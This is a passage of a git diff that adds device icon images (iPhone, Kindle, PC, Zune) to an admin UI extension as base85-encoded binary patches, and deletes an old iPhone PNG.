zkci_vglw;wVyOCHN2)%{|BAP+YsDoXAiyWUl=R?U{<?ub?CsqP9*>8Ix6eF+UUtR3
z=`M?Yk@pG@Df3U9ysw!XVH*3*qWoLtR@Y-)@^Ue}TCCfpKDF=Sj4XT;M+V1!jKXG+
zjcC{LbMT@^k4XION|h110;EGed2v>XAC9y4whF!20L=ke^uN=*RGr)}O5xSu3%^5}
zGQlqIO#<|NTN6kCe!CN&Tb`}*MTrsm`Mqca_+rb)etr7&UZv4Tp|>tce$!=_;TNUo
zzR}X=z*hcW*?miI+4f)gPs{%dhZetSm3RM7%EY?St^ZfR^<;m`{!jjI9{)R;|MvR-
g@A^Wa62;YtK~Z55gXHcm$3S0d%Gyem3KpUN1L6@UO#lD@

literal 0
HcmV?d00001

diff --git a/extensions/admin_ui/media/images/icons/iphone.jpg b/extensions/admin_ui/media/images/icons/iphone.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..134b5c9f9fa3d5585aee533fba542fe069d29010
GIT binary patch
literal 1721
zcmbu6do<K(7{}k=To@F_pyEW5Fv(<GOP58|jK#WZayiIlIL5jr>#{Brx#q5|+%F9Y
zMIy1xNOB~`t?6ubM&!C@W-F$s*%^C|{b&E!vpw&5-{(2+^FH76e4bY@BlsQ260HbU
z0D>TJUbujO4GJw|$o>G>*Z?d500oec5<m(gNVtiR@=ojkX#x25JxrL?1Hu!?3pXi^
z3=rG*08oTpWJ2Zb`fYFK8yZeI5bYNpK@O!H(9<>4)dv7p0o$pPs(|mrB1Is04J<@G
zev^qrzDYn-Ecg|mQ9?{9ID`f;Gz3RO0tQeO(jouW7PTuf2nI(W#l%q(l2XD4?Xmy{
z!Qn6j9En5-hXch6^8kTH%Bks@iDB%$#Sezb<CF3#QR?QceF_d^+(Y_4;mHz`ihK6%
zQ_?uBsiloIFf=kYIex<8tfket^8})!le3Gf+Xa&EB|rawKypw-WK{I!m@Ba<snn}!
z>DMyy3kr*hOG<D2QdM13TUURF)^PtpTl>R~N1a{$bjHBb!DmCy$C(q8Q`0lASZvPR
z+xdlei%ZMAKi_}&xW2*v^jX9O0r<|y{*_BO1PF#ez!BmiE(ms61dc`^)%3*V%<RRz
z!!QT&Nho>qyvo)-33Yu3u7Xean55z%1GWZFgtkrg-@uap7ugQjKU^%Z3l0fC4~_<B
z06%wb`l<j>a7tUjUuwFY*|U7DX@-{!Id(cX;qbE3nN*zJnr3`Mj2LU!lQ%NiUXm7B
zj+%M3NP2O*e(CG(vKQ~&GD0lq#dH!=FGQcrdhF%978YLb*)`0|lsb2eKHq!cPLYy=
zo(YYatrUr!__6vpv9MvPp5Wq^F|jz2qmmue5*Ak)=dak^>PGJ3$34v^HOu_mNDZfz
z`tgJCjhQ3dkKPwXmkolRUsZATRIJq?HLTBMovJBW(_B^Kd95dNb60D*_5ELUzf|<#
zw#<2Z(&l(|1vEaL5!;;6t=$wX=eBj07uCHxo;{0E_L3#ze1oo&TS?12<+0EJ%*d&+
z#I_Np7QxuR;pikWv<ze8VT&Qz;%!WZJP4+B%+7`q{F7Rh9DH1UrtJ%S$`szlQ0s|f
zS8REb0JN3WZu%_sD)*c&Pfcu@&bY)~-g4$YsLsub#SPA?4qxW1csMf3l?)b7n$<13
z_M$&D%kYhu10?B+=>on5alC>VqI*&mQS8$4us(8Q|2}DWy8bR>S?`w4V&AfPr--5(
zQ^S>Mbo;)yGg-a3oP*STFX_`613vh!2!<<tp|l}NuPtzrsGvTIjojKr3F)^s?B^VD
z8X~`Yq~*+Ri0QHRkEAWc+|nQLOLQ;Z@06`GDBBW@NuqjrUu(81Y0oOcDrkIO69B|l
z?%;q7B4J2XGEQ^TjLz}UpEF9sF^=HU6%&q6R87XYb+NV_cx}lc0Y9`)e0-*R52sVp
z)}3*7G8ENbhR7SYjH!N0UpR8Q(%OX1(Oz)UN1a34DW_2)gDvlQ{r3D=tqPH%n{Qvg
z_nx(-K|vxReYiy0g_iG1AH_D75MGwS?#35=Z<^TMw$$kqRyZ-~dS$4?w1dXYT~pq~
z@cmU;%Ih`7vvbXBrU9y1r?t1fb6brRfJ}+Hr3AT0HwQ89*75B9I9u*o6E*vF)swO{
z;;buGhoT!YM?JaW8`eZZ-=R%45v)1u3M=eSUtW9Gx6tfZM&&xUZ7G2Xf4J7o?-@N|
z@>7S-VX>Oqc7gL3;VDhVj>S^tWla(zL|#^B6?6SM)r-SSo!ew?LJ5p=>ASs`>{5!S
z-<;tOaxOAjc#iHXJ(|4eyv7w)Av0!U!12`6S{i{J^JY12sMWoSdQCms2`ib-lCVNk
zO)N<UOXl*lzN3ZO<5_Bm$5z@=Z&sHIYwf#=G_VCXBW^7doi(+sUFJ{ZIK=kck9Hvr
J9ZD3u`U^k=yBYuh

literal 0
HcmV?d00001

diff --git a/extensions/admin_ui/media/images/icons/iphone.png b/extensions/admin_ui/media/images/icons/iphone.png
deleted file mode 100644
index ab4a8cc31a0e0ba8e9760ff502ac56c4b155e0b9..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 1577
zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa$r9IylHmNblJdl&R0hYC{G?O`
z&)mfH)S%SFl*+=BsWuD@%u1Od5hW46K32*3xq68pHF_1f1wh>l3^w)^1&PVosU-?Y
zsp*+{wo31J?^jaDOtDo8H}y5}EpSfF$n>ZxN)4{^3rViZPPR-@vbR&PsjvbXkegbP
zs8ErclUHn2VXFi-*9yo63F|8<fR&VF+bTgE72zA8;GAESs$i;Tpqp%9W}skZsAp(w
zVs37(qhMrUXrOOkq;F`XYiMp|Y-D9%pa2C*K--E^(yW49+@N*=dA3R!B_#z``ugSN
z<$C4Ddih1^`i7R4mLM~XjC6r2bc-wVN)jt{^NN*WCb*;)Cl_TFlw{`TDS%8&Ov*1U
zu~h=P6yk;40=Thx#n4~^2AF<DVu8M)o&m^9FonLp_?717!c`ZS1f?R}i`C%bkjjEo
z{h-w1{L-RiV8o><gRCmBaxO|uEXgkl$<NP$g<?QPeo20DMt*^UbFis`Z(?$09*7TC
z@9S&jnO9trn3tUD>0+w{G(j&jGsVi>$i&3L#o64=(A>n((8bNdz|hRe%+<os(iKRV
zI>Yq3<R_QrrskEv^rj&6THw?RN(#9JK$~4si!#enQ{0O3a}~f|w#vlq7E_$&LG`BK
zc8eKKz4}1M=z}5_DWYLQz|;d`!jmnK15fy=dBD_O1WeW|GGA9SFfh&aba4!+xTQ16
zGeg8tq;3DZb?+jrj3s<JcDv1K=IC<dP+FwXCd2CQD0pzP;sZnW=`J>v0*Y)REP|r^
zO>!b4o!&jt=REE#77&`=vtY8%oHMih{6nLSf2?3%|KRV}{r~@_+DOVpPV!Pc|Af2M
zOm%8+;*4pTY|AniW!Lh2xohfscuJ6{w6wH)*}EI}wB6kA&#}CEzkEZ8*2WbpTLUy&
za&O-_<aT3G9Jk^Hi@9tYXUyiX+@@dm@5jYB=BrM><otB}EM%0VI2Zq%;H9X;yTwQ6
z^rD!LGyZ(boqpl7#h?B|F?_c<uS<8Wib-F!bV?|bPLsllbdy(ZEqbeXc@6J$crS=Q
zKfNntNlI+Cc3<Yine(pp_OUq>Urt)IuKQXxx9+`fe=5Jpyf`wQ@o~BPi>&*{BFx(N
zmr4HKRrcY<$M9QbYpx3&;^DP*S*ak<cIbPrmUOk%iKm~Bh%I=1K(OszO^TM$!GCKd
z)zXEJJofI`A-Gp(VPg>IVI$r@4F~@fM^$v1zGTxgzyJ8{?(aU~wOaK;OXjI*uK5>x
zzbMTrdb3C80f!kv*J|S&Ji9l}w7(<&``i_mSx?W&yeu#DGQNCfn~v*`NnOi-Pcdql
zcfI^@)4O}lA*WgW?*DgP@n7np^mL1BpBi#y-CxS>IC^dGYL1tz`(Dg+dFk1bI<v^p
zxK8SC!>4B_mu{Xi&tBpGQ&axSn_a?cpI!gKuD2{qsMI7{F?hSnm3`BmhwrTWJhSZ5
zf=OpDlzcOY`=%d$`tzNg)0373ELl6@umP*1o%dF@kj6{<B6#M>ANXwJH^=7Sxo>A{
zB<C;54OXr$%YArgYGPUWyW`t<`o4b+yy|l3lEU7&xII-X8@Zo!r#d;#oN;EO(!>RO
slZC_c_p43y5#qG=SgU^_<v)uA!(Couy@1Qb=Rk$Gr>mdKI;Vst0KP<AjQ{`u

diff --git a/extensions/admin_ui/media/images/icons/kindle.png b/extensions/admin_ui/media/images/icons/kindle.png
new file mode 100644
index 0000000000000000000000000000000000000000..b858fc003c45dd2953eb9d7c1d0a794c4f01560c
GIT binary patch
literal 4408
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

literal 0
HcmV?d00001

diff --git a/extensions/admin_ui/media/images/icons/pc.png b/extensions/admin_ui/media/images/icons/pc.png
new file mode 100644
index 0000000000000000000000000000000000000000..d8f38aca7c0cdc100a38be2cdd4c96f3c8fc3c09
GIT binary patch
literal 2521
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

literal 0
HcmV?d00001

diff --git a/extensions/admin_ui/media/images/icons/zune.gif b/extensions/admin_ui/media/images/icons/zune.gif
new file mode 100644
index 0000000000000000000000000000000000000000..6d8259b133f3a7d6853bf3ec9c6ab2d75dc2c2c6
GIT binary patch
literal 1701
zcmV;W23q+?Nk%w1VJHA70QUd@?Q^g7%*yYHy!D7v^PZykg)02&*!%M7?o3(oV?*XC
zX!v#*<S2pePCfXlW%Rt#_Ig0@bBp@y>+zGV_|n_zTbK8lYV(YU_>DRFxr+MX<@t0C
z^s~zO;qCQwNBZ*i``Nqu?(_J-nEBGi?n_er`up)-QSz(A@_=jj+vNQD_Vu#0``*mv
zG=uy9|Ltp=@}sNeGkyI2{p?w5?L<xGF>~}=EctE*>Sm(zsIu-*RrR~F>_k%db|&ja
zT>99=`_{?$;M(qWobPFD@}08lR(tcElk|gi_S5A1`TFijLH3Gk_R8P&qI>$(&F@oO
z<T#D>Y9s7@vh8h@`}X+ubS(A0!|hvh@uRx>^7HwZO!(H?^vc!hH(B}L)96%=@p)|d
z&#Uu`ko96E?_Fs0TqOG4>*+pT^<^FV>F4;vtoC;@@rIi8Vk-86PUJ3s@0Y^$w!r=T
z{O@ga_G&EkyS(BXeDYg5<uQrpM2GE6V)lGk@>V<OG+gjZH1JbG^u5^TEOG5(cJ{Nb
z=Q@M<%-H5ak?&hv?~b$TJ7V~jQ~v(^{r&s<_xAbL((!kJ?_g&4v7G8bXZ-&B=r?Kd
zS~2pYwfAr#{{H{}|Nj2}{{H^{|Nj5@&DQ_^{_?2L?~0`8K5g)evG03~@KG}PxSjXU
z;rXa}_|)L>aCr2qqx5Dq`}gzw@$>!j_x$wo^}*Tiwb1wD?)H^)?LJ2O(W~>5hvztb
z=Qerw!N~ELpZLeY_sPobWP|EkfACL8>|~MaXPxISXXi9*=R9WSIBw`MVDXQc`N*Q`
zUZeWWrt3~=_j)7t(8Kw9CGvog=tz+5K}YC6bN>DQ@MKZ<<?;9K^!nn>>NQpMk6`OQ
zROe8S=~RL3T!!mdi}F(@@R61Ca8UDbTJ(Wg?PPoIa*q7<^zMA1_O6}gJ&*U;*7Kx@
z?N?;(R&V#u&G@r-`uqLtMr!F$m*!5I@qm5y!Ls+ryZO$&@RGRWAb<I+ZtjG%^^1P}
z|Ns8~|NsC0A^8LV00000EC2ui04M+`000R80RIUbNU)&6g9sBU6v%1QKYt4&O7!QV
zS`vvE6MldLC7G#*m@;PU2TL9UJSPQw5E&676?|{r5Ncs4ot=3|AhJX#<HVOh+w!z{
zgQJ6#lK?vGEa)%9IR$}4oxqhRMlgYZY^DR$PiIDmB~BC(28=@pZ@3WQy86(J6qHhO
zdR^$RUy2BQh!KJ34~v3xrfR$(*bj+3J9s|Hm{=mmvM#;2xadcvTd@?V1QW#6bl;nN
zILru~yV-><Z9ZTm(MiPEgnxyGO*!a~2@VE^;Cyg+FjK!3JbXNp;Lo3ictx`KD@18_
zLC*cGRd{137HOtd=J1#irxhD)mbx<kcV3XngD)*wK$CUdV2Kq7cnH!Xs1?LQiOLPE
z>yN|FTZF^_2uA(5u*D+?_%Mnb0(FufL8u5JOdu~H5<><3h|~`+I_SVdD!KGS!5I-e
zM8P?s2qVM;XVvgPdkFcHL@GL10S*m39Akxo8n7WrAHHzl!ap1+AVgOfakhgJ7ZkVx
